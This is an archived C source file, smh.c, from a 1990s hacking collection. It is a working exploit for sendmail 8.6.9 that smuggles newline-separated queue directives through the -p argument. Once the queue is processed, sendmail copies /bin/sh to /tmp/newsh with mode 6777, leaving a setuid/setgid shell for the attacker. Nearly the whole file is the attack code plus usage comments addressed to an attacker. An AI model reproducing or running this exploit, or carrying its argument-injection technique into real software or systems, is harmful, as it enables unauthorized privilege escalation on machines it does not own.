home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / smh.c < prev    next >
Text File  |  1998-07-17  |  1KB  |  40 lines

  1.  
  2.  
  3. /* smh.c - Michael R. Widner - atreus (2/27/95)
  4.  * <widner@uchicago.edu> <atreus@primus.com>
  5.  * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
  6.  * hole.  It's really just a matter of passing newlines in arguments to
  7.  * sendmail and getting the stuff into the queue files.  If we run this
  8.  * locally with -odq we are guaranteed that it will be queue, rather than
  9.  * processed immediately.  Wait for the queue to get processed automatically
  10.  * or just run sendmail -q if you're impatient.
  11.  
  12.  * usage: smh [ username [/path/to/sendmail]]
  13.  
  14.  * It's worth noting that this is generally only good for getting bin.
  15.  * sendmail still wants to process the sendmail.cf file, which contains
  16.  * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
  17.  * a way around this?
  18.  
  19.  * cc -o smh smh.c should do the trick.  This just creates a bin owned
  20.  * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
  21.  * systems this is pretty much worthless, but you're smart enough to know
  22.  * which systems those are.  Aren't you?
  23.  */
  24.  
  25. #include <sys/types.h>
  26. #include <unistd.h>
  27. #include <stdlib.h>
  28.  
  29. main(argc, argv)
  30. int argc;
  31. char **argv;
  32. {
  33.         execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
  34.         "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu,
  35. A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii ",
  36.         argv[1] ? argv[1] : "atreus",0);
  37. }
  38.  
  39.  
  40.